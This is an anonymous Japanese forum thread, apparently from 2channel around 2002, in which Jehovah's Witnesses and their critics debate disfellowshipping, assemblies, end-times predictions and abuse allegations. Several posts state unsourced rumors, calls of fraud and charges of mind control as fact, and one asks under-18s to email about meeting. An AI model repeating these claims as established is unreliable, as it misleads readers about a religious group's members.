だからいつまでも信じる人がいるんだね。
納得。

>715さん

>>これとは別に、排斥制度にも疑問を感じますね。
>>建前では、排斥になっても反省すれば復帰できるそうですが、
>>実際に排斥された人が、どれだけ復帰しているか疑問がありますね。

>もし仮にそうだとして、神の目をごまかせると思いますか？

あぁ、ごめんなさい、あなたの発言をキチンと読んでいなかったので。
見せ掛けの悔い改めを見抜けないのでは、という意味と取り違えてました。ｍ（＿＿）ｍ

復帰している人はおります。
比率はお話する理由が（私には）無いのであえて言いませんけど、、

>715さん
でもあなたのコメントが>719にありましたので
ごく簡単に申しあげますと

排斥に関する直接的な決定は、その人の属する会衆の審理委員会です
そして、判断基準は聖書に照らしてなされます。上訴に関する取り決めもあります。

そして補足しますと
こうした取り決めは「兄弟（姉妹）」と呼ばれる人に対するもので
事例は聖書中に見られます。目的は「神の会衆を守る為」です。
ですからエホバの証人ではない人たちに対してではなく
組織の内部の事に関するもので、
権威の根拠についてはマタイ24：45にあります。

今、大会のシーズンだけど、年に何度か集まる大会って律法で取り決められていたんだっけ？
律法が廃された現在、大会に集まる義務はあるのかな？

律法はここでは廃されていません。
義の基準は律法です。

昔からエホバの僕たちは集会や大会と言える規模で集まりあってきましたね、例として
出エジプト記の4：27-31にはその様子がありますが、イスラエル人がエジプトにいた間の事です。
特に
２９節　モーセとアロンは行ってイスラエルの子らの全ての年長者を集めた
３０節　そしてアロンはエホバがモーセに話されたすべての言葉を話し,
　　　　　[モーセ]は民の目の前でそのしるしを行なった。
３１節　 これを見て民は信じた。エホバがイスラエルの子らに注意を向けられ,
　　　　彼らの苦悩をご覧になったことを聞くと,彼らは身をかがめて平伏した。

このようにモーセとアロンは年長者たちが特別な教えを受けられるように集めており、
民がシナイ山のふもとに集まった事は参照した聖句にも書いてありますね。

もうひとつあげれば、ソロモンの神殿の献納に関連してもイスラエルに民を集めています。
その大きな集まり（大会）は何日も続きましたが、歴代第二7：10をみるとその集まりの帰りに関して

「そして,第七の月の二十三日に彼は民をその家に去らせたが,エホバがダビデと,ソロモンと,
その民イスラエルとに対して行なわれた良いことのために喜びに満ち,心に快く感じながら[去って行った]。」

とあり、義務感ではなく心地よさを感じていた事が解ります。

そして、核心の律法が廃された現代はどうなのか言う点については
初期クリスチャンの例から二つだけ、あげますと
一つ目は、マタイ５章から７章の山上の垂訓です。イエスが話されるのを聞くため大勢の人々が集まりました
二つ目は、使徒2：1-4にあるようにイエスの死後、聖霊がそそぎだされたペンテコステの日のように
　　　　　　　イエスの追随者たちが集まり続けた事です。こうした例は大きな規模で集まりあう事が
　　　　　　　確立されていたという事を示しています。

ですから律法が廃されたとはいっても、イエスはこれら確立された型を廃してはいないことが
聖書から理解でるのではないでしょうか。
そして初期クリスチャンたちは、このように集まりあう事を重要なものとみなしていた事は
ヘブライ10：24.25によっても裏付けられています。

>>725
あなた、失礼ですが現役の方ですか？
重ねて失礼ですが、論語読みの論語知らずとはよく言ったもので、
聖書読みの聖書知らずってか。

とにかく、
義の基準は律法にあらず。信仰にあり。
新世界訳でもいいからアブラハムのところあたりから
よく読んでみな、ちゃんと書いてあるよ。

排斥制度の権威の根拠として「マタイ24：45」は
あまり関係ない気がしますけど。
そこより排斥制度に似た形は「マタイ18:15〜17」に書かれたいますよ。

それにしても「マタイ18:15〜17」でも排斥するのが目的ではなく、
反省させ信仰に戻らせる事だと思うのですけどね。
それで、どうしたら信仰に戻ってくるか方法まで「マタイ18：19」に
書いてありますよ。

ですから、聖書を手本とするなら審理委員会の行いは
会員を排斥にするのではなく、排斥者が出ないように祈ることだと
思いますけどね。

----以上は聖書的な話。----

----以下は世俗的な話。----

排斥制度の一番の疑問は審理委員会が公正とは思えない事ですね。
公正なら問題はないと思うのですけどね。
また審理委員会の人たちが（宗教組織内の裁判官として）他人を裁ける
ほど神の目に正しい人たちなのでしょうか。

----話がわき道にそれて----

たぶん、エホバの証人さんは排斥者や脱会者の人たちを
規則も守れない下らない連中だとお思いでしょうが、
私はエホバの証人さんが見下している、
排斥者や脱会者の人たちの方が人間性が豊かで好きですよ。

出エジプト記、山上の垂訓、ペンテコステと
ドーム球場の大会はかなり違うんじゃない。
エホバの証人さんは同列にしますか。

寝ます。。。

>>728の間違い。
X 書かれたいますよ。
O 書かれていますよ。

神の言葉やご意志関して聞く為民が集まりあっていたという点を示したまでで
>729のような事を言い出したら、聖書中の場所に行って同じような格好をしろといわれそうで
枝葉な点に話しがそれていってしまいますよ。
論理がおかしいとおもいます。

マタイ18：15-17は、個人間の不和や問題を扱う際の手順に関して述べており
その結果としての排斥が扱われているのです。
それに、この聖句の中からも排斥が目的なのではなく兄弟との平和を取り戻す為にも
「ただあなたと彼の間で」とのべて、います。

>排斥制度の一番の疑問は審理委員会が公正とは思えない事ですね。
>公正なら問題はないと思うのですけどね。
>また審理委員会の人たちが（宗教組織内の裁判官として）他人を裁ける
>ほど神の目に正しい人たちなのでしょうか。
おっしゃることの根拠はなんですか？

>たぶん、エホバの証人さんは排斥者や脱会者の人たちを
>規則も守れない下らない連中だとお思いでしょうが、
そう思う個人もいるかもしれませんが、排斥の決定がなされたとしても
本人は復帰に関する情報を聞かされますし。
定期的に復帰できる可能性も考慮されます。
排斥は必ずしも人間性の問題ではありません。
また私個人としてはそのように考えてはおりません

728産に関して言えば
そう捕らえている事がこうした解釈の根拠なのかなと思いました

では、

審理委員会はどんな権利があって人を裁くのか。
問題はこの一点に集約されると思います。

人が人を裁くことの愚かさよ。

>>731
>おっしゃることの根拠はなんですか？

>>732 さんがすでに聞いておられますが
審理委員会はどんな権利があって人を裁くのか、ですね。
また言い方を変えれば、誰に任命され裁いているか。ですかね。

まあ、エホバの証人さんの良いところも有るとは思いますよ。
ただ、その良いところって光の当たっている部分だけですね。
いま会員数が減っているのは、
陰の部分の問題を解決せず先送りしてきたツケが回って来たんじゃないかな。
エホバの証人さんが問題は無い、有っても些細な事ぐらいに考えてたんじゃ
これから先は会員数が先細りになると思いますよ。

これって、けっこう親切心で言っているつもりですが、
信者さんには理解できないだろうな。

732の発言ははboy's ◆yRaJFlJさんではないと思うので放置しておこうと思いましたが。
問題を集約されるとおっしゃっているのであえてコメントを、、

>732は何の権利があって、ＪＷの事に干渉しなければならないだろうか？
>732はＪＷになりたいのだろうか？
>732はＪＷにならなければならないとでも感じているのだろうか？
>732は審理委員会と何の関係があるのだろうか？

これが、732の書き込みを見て感じた疑問です。

理由は
>732の審理委員会に関する２行の発言から
それが聖書についての無知が最大の原因と推測されることと
>732が審理委員会についてもよく知らない人だなという事です。
それで、問題を集約しているとおっしゃっておられますが、、、
もっと知っているのならこういう書き方はしないと思うのですが、、、
よく知らない人が何の問題を集約するのでしょうか、
恐れ入りますが、もう何をおっしゃっているのか、、、、、あきれて、しまい、、そう、ですよ、、、、、（汗；

聖書に従わなくていいのなら、エホバ神の証人であろうとする必要がないのでは。
審理委員会と言う言葉を出したからって、、常時そんなものがあるとでも思ってるのといいたいです。
話しになりません。疲れます。
では、

今、>733に気がつきました

なんだか、途中まで褒められていた様な。
まあ、いいや。

>>735
「聖書に従う」のと「エホバの証人」は別の問題ですね。
そこを結びつけるところに思い上がりを感じますね。

排斥制度にしても、排斥された人はたんに団体としての「エホバの証人」の規則や人間関係に
合わなかっただけだと思いますよ。

どんな団体でも運営する上で規則は最小限必要だと思いますよ。
ただそれは、団体を運営する上の規則なわけで、
聖書の話と混ぜるから話が難しくなると思いますね。
（今回は私の方から話をしましたけどね。

たとば、高校を退学するにしても、その高校の校則や人間関係に合わなかっただけで、
必ずしも学生として失格者とはなりませんよね。

全部の規則を「エホバの証人としての規則」なのか「聖書の規則」なのか
チェックした方が良いと思いますね。
それをしないと、まじめな人ほど深く傷つきますよ。
また、あなたも深く傷つき行き詰まる可能性がありますよ。


余計な事でしょうけどね。


以上で〜す。

>>736
私にはよくわからないいいがかりのような疑問を
よく受け止め分析し、回答をまとめてくださり、ありがとうございました。

一般人の感じた印象を述べたのに対し、無知だの何だの言われては、
答える気を失くします。実態を明らかにしたがらないのは組織のほうでは？
自ら世間との乖離を望んでいるかのようですな。
だいたい問題が集約されているということに関して、731氏は審理委員会に
問題が集約されているように読み取っておられるようですが、
私は審理委員会の問題がこの一点に集約されるという意味で書いたつもり。

そんなに理解しにくい文を書いているのでしょうか私は。
まともな話はできそうにありませんな。
boy'sさんのようには我慢強くないので、ちょっと逝ってきます。

>>726
大会に出席する動機についてのカキコありがとうございます
これから大会に出かけます

>732さん
>boy's ◆yRaJFlJ. さん

ちょっと、語調がきつかったかもしれません、少し反省です。ごめんなさいねｍ（＿＿）ｍ
お二人は別人なんだと思いながらも途中からごっちゃになってしまいました、、なんとも、お恥かしいです

さて、>734のように感じたのは>715でboy's ◆yRaJFlJさんが
「私もエホバの証人さんと長いこと関わっていましたから 」とおっしゃっていたので
相応の知識があると見込んで話してきたからと

>732さんの発言から理由や根拠をなしに唐突に集約し愚であるという意味を付された事に
話しを乱された、と感じ、不快感を示させていただきました。
同時にどのような根拠があってのことかも示していただきたいとも感じました。

>737で「言いがかりのような疑問」という事がわかりましたが、
実態が知りたいのならご自身でその根拠を聖書からお調べになるのもいいかと思います。
ＪＷと共になさるなら、あなたなりの観察と思考力によってそれも判断できるのではないかと思います。
あなたが、ＪＷに疑問を抱く根拠がしっかりとした根拠によるのか
作為的な情報によるものなのかは知り得ませんが
どうぞ耳年増にはならないで下さいね。それと、ＪＷは怪しい事はしないので心配しないで下さいね。
私はつたない文章力ですが、きちんとした返答を意識してきたつもりですから
少なくとも、言いがかりのような表現にはまじめに答えたくはなりませんし、、
きちんとした根拠が無いものに関する話しや私自身が部外者だったりする話しには
雲をつかむような会話になりますので問い掛けられても言いようがありませんので、お願いしますね。

>737　の書き込みから732さんが理性的に考える方であるようにも思え少し安心しました。（＾＾）

で、>boy's さん

>「聖書に従う」のと「エホバの証人」は別の問題ですね。そこを結びつけるところに思い上がりを感じますね。

とおっしゃっていましたが、私は、あえて　　>エホバ神「の」証人
という表現にしたのです。それは私があなたと>732さんを差別的に扱ている印象を受けて欲しくは無い
と思ったからと、（といいながらも他所での表現に問題が有ったかも、、）
イザヤ43：10前半を念頭においていたからです。
「あなた方はわたしの証人である」と,エホバはお告げになる,
「すなわち,わたしが選んだわたしの僕である。それはあなた方が知って,わたしに信仰を抱くためであり

これは、「わたしの証人」、エホバ神の、証人、という事ですからエホバ神が「選ぶ」。
つまりエホバ神の基準、資格にかなうという事が関係していると、ご理解いただけますね。
エホバの基準によらなければならないので思い上がりなのではなく、エホバ神の義の基準に忠実でありたい
のだ、と思ってください。

それでこの件ですね。
>排斥制度にしても、排斥された人はたんに団体としての「エホバの証人」の規則や人間関係に
>合わなかっただけだと思いますよ。

との事ですが、
前知識として、
エホバの証人は２世であれ１世であれ生まれながらにしてエホバの証人であった人は
一人もいないのです（ご存知ですよね。）
当人がＪＷになる前から聖書を学びその教えを自分に誠実に当てはめ、生き方を聖書に適うようにしているのであれば
会衆の複数の長老による聖書に関する３部からなる討議を行い、
（かなりの量の討議）から聖書に関する知識と理解（初歩的な教えに関するもの）が試されるのです。
それを、公にバプテスマを受ける事によりそれを見守る全ての人とエホバ神のみ前に明らかになるのです。

しかし、排斥精度とおっしゃいますが
例としてドライバーとなった人が後に飲酒等により免許取り消しのになりますよね（道交法が定める所によりますね。）
ＪＷとなった人も、聖書的根拠により、また、国家法の根拠によっては排斥になり「うる」のです。
違うのは、あることをしたからといってなんでも無条件に排斥になるのではなく、
援助を受け入れないとか、開き直ったり、悔い改めが無いなど、様々な面を考慮し、祈りの内にというものです。
前者は規則ですが、後者は規則とは違います。
それと、排斥以前に助言、牧羊、戒め、というものもあり、本人を切ろうとしているのでは有りません
兄弟とも呼ぶくらいの仲間なのですから助けたいと思っているに決まっているではありませんか。
仲間を失うのは誰であっても悲しいのです、わかってくださいね。でも、神との関係はそれ以上に重要です。

あと、誰に任命され裁いているか？という疑問もおありのようでしたが、発言を分けた方がいいでしょう
でもそれだけこの事に疑問をもたれるなら以前どのようなせ仕方をされていたかは存じ上げませんが
”直に”（面と向かって）ＪＷから説明を受けて欲しいと思います。当然無料ですし、
文字では今回の（私の様に誤解や）齟齬が生じかねませんしコミュニケーションの限界も感じます
それに時間もかかります。

私自身窮屈とか規則とか厳しいと思っていたらこのようなコメントはしないとおもうのですが？（＾＾；

>738

良かったですね、大会に関する点も話されてましたね。（Ｙアリーナ）

>>741の731さんへ
まず初めに、個人的な事情ですが、
普段使っているパソコンが壊れてしまいまして
暇が出来次第に新しいパソコンを買うつもりですが、
それまでは2chの書き込みは一時中断になりそうです。
今は壊れていない別のパソコンを使って書いているのですが、
普段は別の目的に使っていますので
気が向いたら、2chに書き込むということが出来ない状態です。

まあ、そんなワケでなにを書こうかと考えています。
しばらくは即答ができませんので失礼になるといけませんので。

ああ、どうしようかな。
すみません、少しのあいだ保留にしといてください。ごめんなさい。


>>737 の732さんへ
私なんかひどい文章をかいていますよ。
誤字、脱字が多いですし。
私はいつも、恥かいてもいいや、ぐらいで書いていますよ。
恥をかいても、とにかく書かないと相手に伝わりませんからね。


すみません、いったん2chから離れます。みなさんによろしく〜。

良すれあげ

>>741

>兄弟とも呼ぶくらいの仲間なのですから助けたいと思っているに決まっているではありませんか。
>仲間を失うのは誰であっても悲しいのです、わかってくださいね。でも、神との関係はそれ以上に重要です。

決め付けて話すのは、どうかなぁ・・・・と、思いますが。

>兄弟とも呼ぶくらいの仲間なのですから助けたいと思っているに決まっているではありませんか。

この部分ですね、私の思いの部分が強く入ってしまいました、、
ちょっと語弊があったかもしれませんね、

言い直させていただきますと

その人は兄弟とも呼ぶくらいの仲間、共に学び奉仕してきた仲間なのです。
そうであれば、一般的に助けたいと思うのは自然の事と思います。

boy's さん

>個人的な事情ですが、 普段使っているパソコンが壊れてしまいまして

それは、それは、余計な出費になってしまい大変ですねせめてＨＤＤが無事だといいですね。

>まあ、そんなワケでなにを書こうかと考えています。
>しばらくは即答ができませんので失礼になるといけませんので。

はい、お気遣いありがとうございます。
でも、今回はたまたま、見て、気になって発言させていただいたわけなので
常時此処に来てレスするという保障はありませんが、書かないとも言えません、、

では、

全時間奉仕者とか全時間の開拓者とかいう表現を耳にします
一般の仕事を持たない開拓者のことを指しているのでしょうか？
つまり、生活費を家族や組織に賄ってもらっているという意味なのでしょうか？
パートタイムの仕事をしているなら全時間という表現は使わないと思うので。

開拓者は全時間奉仕者と呼ばれます。
パートタイムの仕事をしているかどうかは関係ありません。
特別開拓者とか巡回監督とかも全時間奉仕者ですが彼らは一般の仕事を持っていません。

まあ、おいらはいくつかの会社の社長やりながら開拓やってるけどね・・・

牧羊訪問を初めて受けましたが内容はもっと奉仕に出るよう圧力を感じさせるものでした。
自分としては自分の話を聞いてもらえることや疑問などに答えてくださるのではと淡い期待をしていました。
しかし、実際にはほぼ一方的に話を聞かされ聖書を用いて圧力をかけられた印象しか残っていません。
会衆での気になることを話そうとしたら「そういうことを話すのはふさわしくない」と釘を刺され聞いてもらえませんでした。
もちろんそれは個人の事柄ではなく会衆全体の事柄でしたので自分では何も問題ないと思っていたのですが・・・
初めての牧羊訪問は私にとっては苦いものになってしましました。まるで撲羊訪問でした。
二度と訪問して欲しくないです。同じ人には。

みんなさー、他人に依存や期待をしすぎるんじゃない？
牧羊してもらうこと自体に感謝の念はないの？
あーだこうだ批判ばっかしてさ。
もっと自分を強くしたらどうでしょう？

>>752
あなたは強いんですね。

>>牧羊してもらうこと自体に感謝の念はないの？
牧羊の為に時間や労力をはらってもらえることはありがたいと思います。
ただ、訪問を受けた側が打ち叩かれたと感じるならその訪問の目的は逸することになります。

>>もっと自分を強くしたらどうでしょう？
そのとおりです、個人の努力は必要ですね。
でも、現段階で弱さが露呈しているのならその弱さに応じた援助の仕方があるのでは？
相手の話をろくに聞かないで一方的に伝えたいことを話すというのはどうでしょうね？

＞二度と訪問して欲しくないです。同じ人には。

別の長老または巡回監督に今回の牧羊訪問の感想を伝えておくべきです。
今回の未熟な長老は「よいことを行なった」つもりでいるに違いありません。
問題があることを誰かが言ってあげなければ彼らは同じ間違いを繰り返し続
けてしまいます。それは会衆全体の不利益になるでしょう。

＞754
自分の弱さを素直に認めることができるあなたは、とても
謙遜で素晴らしい方ですね。
私が言いたかったのは、牧羊をする立場の人の身に少しでも
なってみればは、失望を少しでも抑える事ができるのでは
と思ったのです。たしかに高慢な態度の長老もなかにはいるので
しょう。しかし、その人の本意はきっとあなたをおとしいれることでは
なく、励ましを与えたいという純粋な動機のほうが大きいと思います。
あなたにエホバからの安らぎがあることを、祈ります。

どうだっていいことなんだけどさ
そろそろ、聖書物語の内容をカバーしたマンガ本とか出してくれないかなぁ。
大会とかで毎回本とか出してくれるけど、一向に読む気が･･･。
そりゃ、読む気がないんだろ？と言われればそれまでなんだけどね。
ｶﾞﾝｶﾞﾝ本読んで、活力ｲﾊﾟｰｲのﾔｼがｳﾗﾔﾏｽｨですYO！

>>757
ものみの塔出版物を読む気がしない君こそ正常。
あの文体ははっきり言って変。
わかるほうがおかしい。

あの文体ははっきり言って変。
同意っぽい。

>>758
＞あの文体ははっきり言って変。
＞わかるほうがおかしい。

おかしい人間の一人です（笑）
ぼくも最初は独特のものだなと感じていました
でも、慣れてしまえば何ともなくなりました
外国語を学ぶよりずっと楽です
それに普通の文章読むのも苦になりませんので・・これって二カ国語マスターしたのかな（笑）

禿同
確かに変。
妙に押しつけがましいし。

『小さな親切、大きなお世話』
ってこった。

よく覚えておきましょうね。

>>757
手塚治虫の『旧約聖書物語』（新約は手がけるところまでいかずに亡くなられた）
を読んでみてはいかがでしょうか。

※現在日本における成長率が止まった。全盛期には年間７〜８パーセントの成長率であったものが、1999年の年鑑によるとプラス２パーセントの成長。2000年０パーセント。2001年マイナス１パーセント

※原因は何か。
１，情報統制が出来なくなってきた。　インターネット
本屋で反対派の本を買うことは人目が気になるが、
インターネットは一人 で見ることが出来る。　
エホバの証人がカルトであるという根拠は情報統制にあったのだが
今後は情報統制が崩れていく。
世界一の情報統制、マインドコントロールの組織がエホバの証人
２，二世の落ちこぼれ現象。　　多くの二世が離れている。
３，バブル以後の就職難。パートの激減。

※今後の予測
成長期は婦人層が大量に入信したが、今後は厳しい。
二世が育たない。
ハルマゲドンの恐怖。終末を言わなくなったので緊迫感がない。
世論の厳しい輸血問題もやがては解除するかも知れない。
カルト教団のイメージを払拭して、穏健路線に転換か？

つーか、２ちゃんねるなんてつまづきの元として最強のものじゃん。こんなとこにいたら円熟できませんよ。

信者じゅないけど。
エホ証はよく訪問にくるよ。瓦解などに比べても、比較的善人が多いように思うのだけれど。
でも、組織自体がいろいろ悪い噂があるでしょ。輸血云々以前に。
創立者ラッセル？の死に関しても、妙な噂があるし、
アメリカのいわゆる秘密結社系とつながっているという話もある。

その辺のことは、現役の人はどう納得しているんだろう。
組織について語るスレということだけど、組織のことを語るには、
やはり理論的説得力ということがあるわけで、教義への納得が前提でしょ。
だから、教義や成立史を、組織論とわけで考えることはできないと思うんだど。
どーよ？

>その辺のことは、現役の人はどう納得しているんだろう。
ネットをやってない人と言う前提が付くけど、
その辺のことは、現役は何も知らされてないか、
組織に都合のいいことしか知らされてないので、
事実を指摘しても信じない人が多いよ。

ネットをやってる人はどうなんだろうね？
２ちゃんに元気いっぱいで出てきても
毎回消えて行くパターンなのは何か考えてるのかな？

「毎回消えていく」というのは、そういう裏情報を知らされて、
あるいは批判者や脱会者に論破されてショックを受けて引き下がるという意味？

明日から横浜アリーナに行く十八歳以下方会いませんか？
現役、不活発、敗狂問いません。
そのままメール下さい。

もう大会終わったぽ。

もう５年以上前に辞めたものですが、最近なんとなくパソコンでエホ証のことをいろいろと調べてみると・・
背教者の文章を読むなとあれほど組織がうるさく言っていた理由が良くわかりました。だって自分たちの偽善がばれるわけですから。
ちゅうか本当にハルマゲドンなんかが起きた日には最初に逝くのは統治体の方々ですな。
しかも国連にまでかかわっていたとは、あの「啓示の書」とかいう赤い本は一体なんだったのでしょう・・？
まったく言ってることとやってることがここまで違うとは思ってもみなんだ・・。
あーあ無駄な十数年を過ごしちまったなあ。

組織の偽善があるかないかは別として、背教者の言ってることに特に説得力があるとも思わないし特に興味もない現役…。

８月１１日（日）付の「New York Times」に
エホバの証人の「児童性的虐待」についての記事が載っているようですが、
英語が読めません・・・。

Sunday 8/11/02　 New York Times article on WT pedophiles
http://www.watchtowernews.org/

New York Times
Ousted Members Contend Jehovah's Witnesses' Abuse Policy Hides Offenses
By LAURIE GOODSTEIN
Expelled members of Jehovah's Witness congregations are accusing
the group of actively covering up child sexual abuse within the church.

http://www.nytimes.com/pages/national/index.html

http://www.excite.co.jp/world/

>>773 マルチポスト行為は禁止されています。あなたの投稿は
http://life.2ch.net/test/read.cgi/psy/1027296667/348
からのコピペです。

協会宛に質問出すのに何故会衆を通さないといけないのかな
神には祈りによってダイレクトにメール送れるのに

検閲しないとヤバいからでしょ。

その検閲というのがクセモノ
会衆内で握りつぶされることがあるかも
まあ、協会の窓口で握りつぶされるかもしれないけど

漏れの友達の話では協会は握り潰さないみたいだ。
ちゃんと返事返ってきたらしい、一回だけ。協会の論理だったけどね。
二回目以降は論破されたらしく、無視だったらしい。

「今夜ビル・ボウエンは
CNNのコニー・チャンからインタビューを受けました。」
（エキサイトによる機械翻訳）
http://www.watchtowernews.org/

「さらに、私たちは、ウィリアムBowden、Silentlambsの創立者、
男性のための非営利的な自助グループ、および
彼らがエホバの証人によって性的乱暴をされたと主張する女性に
話しかけるでしょう。
教会は、そのような乱用を静かにしておこうとしますか。。」
（エキサイトによる機械翻訳）
http://www.cnn.com/CNN/Programs/connie.chung.tonight/

自分でも長い勉強中だと思います。

さて、今とても不思議に思っている事があります。
終わりの時がいまそこまで来ているというような
気がするような伝導の仕方というか教え方をしてる
と思うのですが、事実は誰にも時期がわからないの
だから「いつ終わりがきてもいいようにしていましょう」
といって欲しいです。少し心配なのは、いつか証人のカッ
プルの方がいて女性の方が「生きてハルマゲドンを通過して
から２人の子供を作ろうと思っているの」って楽しみにして
いました。いつやってくるか分からないのに何で生きてハル
マゲドンをくぐりぬけてから子供を作ろうと思えるのか
今でもとても不思議に思えます。他にもそういう人たちがいる
と聞いてさらにびっくりしました。でもその1つだけをとって
勉強するのを止めようとは思いませんし、証人の方々の善良さ
がとても好きです。そして霊的なお父様エホバは心からおられる
と思っています。おかげ様でそう感じる事もできましたから
とても感謝もしています。ただ、何故そのような教え方をする
のか・・疑問でなりません。そういった点がいまだにバプテスマ
を受けていない理由の１つかもしれません。
他にも理由はありますが。（文章、下手ですみません）

上、長文ですみません。

少し付け足します。
＞「いつ終わりがきてもいいようにしていましょう」
＞といって欲しいです。
　　　　↓
「いつ終わりがきてもいいようにしていましょう」
とだけいって欲しいです。

では、その「終わり」はいつ頃くるのですか？全く見当も付かないのですか？
ある人は「1975年に来る」と言ってたみたいですが、今年は2002年。W杯サッカー
も終わり、8月も下旬にきた。1975年から27年過ぎている。それだけ「終わり」が
近づいたとも言えるはずですが。何かその兆しみたいな事はないのですか？
　確かに1975年当時とは世界情勢が違うし、宗教を取り巻く情勢も違いますがね。
アメリカがイスラム諸国、特にイラクに対して戦争を仕掛けようとしてるけど。
この世界を牛耳ってるのはアメリカとイギリス。そのアメリカがイスラムという宗教
世界に攻撃を加える機会を伺う。そんな感じで世界情勢が動いているみたいですから。
その事と聖書に書かれてる、「終わり」とは何か関係があるのですか？

>>781
＞いつやってくるか分からないのに何で生きてハル
マゲドンをくぐりぬけてから子供を作ろうと思えるのか
今でもとても不思議に思えます

もしかするとそれはいわゆる彼女の第一希望では？
終わりが来る前に死ぬかもしれないし、何があるかわからないでしょ？
第二希望以降を聞いてみられたら良かったですね

勝手な推測ですが、迷っておられる原因の多くは他の事ではないでしょうか

もともと聖書はいつか終わりが来るから、終わりが来てもいいように、悔いのないように今を愛をもって生きましょうっていう話だが・・・。常に目覚めていなさいっていうメッセージ。

>>781
>「生きてハルマゲドンを通過してから２人の子供を作ろうと思っているの」

簡単にいうと「エホバの証人」はキリスト教では無いから
「聖書」に書いてある「ハルマゲドン」は通過できません。

以上。

色々アドバイスありがとうございます。
迷っている原因は全て根っこが一緒なんですよ。
つまり＞７８５さんの書かれている事が今の自分に
理解できる確かな事なんです。聖書を読んでも
そのように思いますし、それを何故年代を特定したり
、すぐそこまでやってきてるよ、とか言う風に
必要以上にいうのか・・・悪く考えると
一般の証人の人は、とても善良な人が多いが
トップの人たちは実はとてもビジネスマンなのでは・・と、
ひどく心配しています。トップの人たちの動機が
とても気になります。だまされたくない、という強い
疑いの根があるのは、今までの人生の経験で殆どの組織の
トップが誠実とはほど遠い人たちというか・・極悪人だった
ので・・・しかし言葉では良い事をいって一般の人と騙して
いるのです。エホバの証人のグループには何か他とは違うもの
を感じてはいるのですが、どうも信じきれないのです。
牙を隠しているのでは無いかという不安が付きまといます。

訂正
＞一般の人と騙しているのです。
↓
一般の人を騙しているのです。

>今までの人生の経験で殆どの組織の
>トップが誠実とはほど遠い人たちというか・・
ＪＷのトップは権力闘争でお忙しいようですよ
「良心の危機」を読むとＪＷのトップの事情がよくわかるよ。
http://ha2.seikyou.ne.jp/home/Q-Higuchi/kikiint.htm

終わり･･･？
ああ、ハゲマルドンなら５０年たっても１００年たってもこないよ。
ちょっとは冷静に考えてみ。

キリスト教でなくても救われるよ。本当にイエスが言ったことを理解して、行なうならばね。
本当にイエスが言ったことかどうかがミソ。少なくとも統治体は全く逆のことを教えてますよ。
キリスト教世界は偽物だから、ハルマゲドンで滅びます。だから、信仰をもってそれを待ちましょうってね。
信じて求めるものはなんにせよ与えられるが、それは神に殺人を依頼するようなもの。
イエスは愛によって繋がるものは皆救いに預かれると言ったのに。
果たして、キリスト教世界の人たちには愛というものが無いといえるのかな？

イエスに信仰を働かせるものはみな神を知り、永遠の命があるというのがイエスの教えだった。
キリスト教世界の人々は全く信仰が無いといえるんだろうか？
少なくとも、教会に通っている信者にはイエスが言われたことをおこなっている者がいるがね。
イエスは特定の組織に属するものしか救わないとは言わなかった。福音書のどこにもそんな記述はないよ。

>>787
福音書は、「前兆があったら、ハルマゲドン来るから気をつけなさい」
って書いてて、JWは1914年に生きてた人が死ぬまでにハルマゲドンが起きる
と主張していた。しかし1914年に生まれた人も、今年88歳になるという現実。
これをどう考えるかは人それぞれ。

誰でもイエスに信仰を働かせて、彼の言うとおりに行なうものは救われる。
それはキリスト教でないものでも同じこと。

>>792

ほんとに、そうだね。

>>793
それ以前に最初の頃の教義では1914年がハルマゲドンの年
＃キリストの再臨はもっと前
という罠。

「終末の時」とは如上示した如く一七九九年以後サタンの王国が
完全に転覆されてメシヤの王国が此の地上に建設される迄の一期間である。
そして「主イエスの再臨」は以上示した如く一八七四年以後の事である。

http://members.tripod.com/~kamino-tategoto/tategoto06.gif

↑それじゃ読めないヨ、↓をコピペしてジャンプ
members.tripod.com/~kamino-tategoto/tategoto06.gif

詐欺師ラザフォードの本だ。

訂正ラッセルの本だ

やっぱり詐欺師ラザフォードの本だ。
homepage2.nifty.com/ichikawakita/witness/shiryou.html

要するに判らないから、正確には答えようが無いという事か？

　　　　　　　　　　　__,,,,＿　　　　　　　　　　　　__,,,,＿
　　　　　 　 　 　 ／´　　 　 ￣｀ヽ,　　 　 　 ／´　　　￣｀ヽ,
　 　 　 　 　 　 / 〃　 _,ｧ---‐一ﾍヽ 　 　 / 〃　　　　　　　ヽ
　　　　　　　　 i　　／´　　　　　　 ﾘ}　 　 /　　　　　ﾘ　i　　　 }
　　　　　 　 　 | 　 〉. 　 -‐　　 '''ｰ {!　　 ,ｉ　　 　_,-=‐'`―'=ｰ､;!　皇室御一家もこのスレに関心持たれた様です
　　　　　 　 　 | 　 |　　 ‐ｰ'　 ､ｰ‐' |　　 i 　　 リ　 -ｰ　 くー i |
　　 　 　 　 　 ﾔヽﾘ　´　 　 (. .〉 　 ｝　　|　　　ﾘ ﾟ　　,ｒ(､_>､ ﾟ'} !
　　　　　　　　 ヽ_｣ 　　　　ｰ＝-'　 !　　| ii!　 　|　 ト‐＝‐ｧ'　! |
　　　　　　　　　 ゝ i、. 　 　 ￣　 丿 　 |　　　　 ヽ_` ｀二´' 丿.!
　　　 　 　 　 　 　 ｒ|､｀ '' ー--‐ｆ´　 　 | i ii !!　 ._ノ` ｰ--‐f_,,ノ
　　　　　　　　　_／ | ＼　 　 ／|＼_　　ゝ-ｰ'/＝==-´二ヽ

今日大阪で地域大会があったようですね。
どうしてみんな名札をはずさないで帰るの？
そういうのって違うくないですか？
なんか本当に怖かったです。

１８７４年１８８１年１９１４年１９２５年１９４５年１９７５年　2001年　　　∞年 　　

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　　　　今度はココからズット終わりの日！
　　　　　 　 　 　 ／´　　 　 ￣｀ヽ,
　 　 　 　 　 　 / 〃　 _,ｧ---‐一ﾍヽ
　　　　　　　　 i　　／´　　　　　　 ﾘ}
　　　　　 　 　 | 　 〉. 　 -‐　　 '''ｰ {!
　　　　　 　 　 | 　 |　　 ‐ｰ　 くー　|　　 　
　　 　 　 　 　 ﾔヽﾘ　´ﾟ　　,ｒ(､_>､ ﾟ'｝　　　　　　　　　　　　へ
　　　　　　　　 ヽ_｣ 　 　 ト‐＝‐ｧ'　!　　　　　　　　　　　　丿ノ
　　　　　　　　　 ゝ i、 　 ` ｀二´' 丿　　　 　　　　　　　　/　》
　　　 　 　 　 　 　 ｒ|､｀ '' ー--‐ｆ´ 　 　 　 　　　　　　　/　ﾉﾍヘ ヘ
　　　　　　　　／ i, `ｰ-､.,____,___ノ＼＿＿＿＿（" 　`ｰ"　、 ）　)　 ﾉ
　　　　　　　ｰ'/　　'i.　ヽ､ ,二ﾆ/ 　　＼ 　 　　　 ｀`ｰ-､　 　ﾞ　　 ノ
